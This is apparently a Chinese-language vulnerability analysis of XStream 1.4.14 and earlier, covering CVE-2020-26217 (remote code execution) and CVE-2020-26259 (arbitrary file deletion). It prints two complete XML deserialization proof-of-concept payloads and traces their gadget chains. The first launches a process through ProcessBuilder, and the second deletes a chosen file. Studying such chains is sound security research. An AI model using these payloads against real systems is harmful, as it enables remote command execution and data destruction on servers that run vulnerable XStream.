影响范围

Xstream <= 1.4.14

CVE-2020-26217

漏洞复现

1

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

漏洞分析

首先我们将xml文件折叠一下

2

entry元素中包含了jdk.nashorn.internal.objects.NativeString与string两个元素

这里使用先知社区熊本熊本熊师傅的文章里的例子

3

map里面put的键为一个对象,值为字符串,那么输出结果就如上,这样也就懂了poc的结构,也就是是一个key为jdk.nashorn.internal.objects.NativeString,value为test的一个entry,而jdk.nashorn.internal.objects.NativeString对象又存在flags、value属性,它的flags属性值为0、value属性值为com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data

接下来开始分析漏洞触发流程

下断点跟进,Xstream解析map结构时会在putCurrentEntryIntoMap中新建一个map,然后将键值取出put进去

4

这里有一个map的原理,map在put key操作时需要获取key的hash值。因此程序调用了jdk.nashorn.internal.objects.NativeString的hashCode方法

5

跟进getStringValue方法

6

这里会判断this.value是不是String实例,如果不是则调用this.value的toString方法

这里的value其实就是

1
2
3
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>

这里的value,也就是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data,所以也就是调用了Base64Data的toString方法,跟进

7

这里触发了自身的get方法,跟进

8

这里关键代码是InputStream is = this.dataHandler.getDataSource().getInputStream();

1.这里也就是获取Base64Data的dataHandler的DataSource属性值,而这可以从xml中赋值,在POC中DataSource赋值为com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource,也就是this.dataHandler.getDataSource()值为com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource

2.随后程序执行com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource类的getInputStream方法,这将获取com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc的is属性值

在xml中已经定义了com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSourc的is属性值为java.io.SequenceInputStream

9

跟进readFrom方法

10

跟进read方法

11

跟进nextStream方法

12

e的值,可以通过向xml中SequenceInputStream元素中的e元素值来控制。在poc中将这个e元素值设置为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator

跟进javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator的nextElement方法

13

在poc中同样为iterator赋过值,为javax.imageio.spi.FilterIterator,跟进next方法

14

跟进advance方法

15

这里的iter在poc中同样赋过值,为java.util.ArrayList$Itr

当iter.next()执行后,poc中构造的java.lang.ProcessBuilder被返回并赋值给elt

16

这里的filter同样被赋过值,为javax.imageio.ImageIO$ContainsFilter

跟进filter.filter(elt)

17

此时method为ProcessBuilder类的start方法,而通过上文可知:elt为构造好的java.lang.ProcessBuilder对象。在method与elt都可控的情况下,进行反射调用即可实现远程代码执行利用

CVE-2020-26259

漏洞分析

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/Users/ghtwf01/test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

这个洞和上面的rce流程前面一致,直接看到分开的地方,26259触发点是is.close

18

因为在poc里is被赋值为com.sun.xml.internal.ws.util.ReadAllStream$FileStream,所以跟进close方法

19

这里的tempFile不为空则删除,tempFile在poc里面赋值为/Users/ghtwf01/test.txt,这个是自定义的所以就形成了任意文件删除漏洞。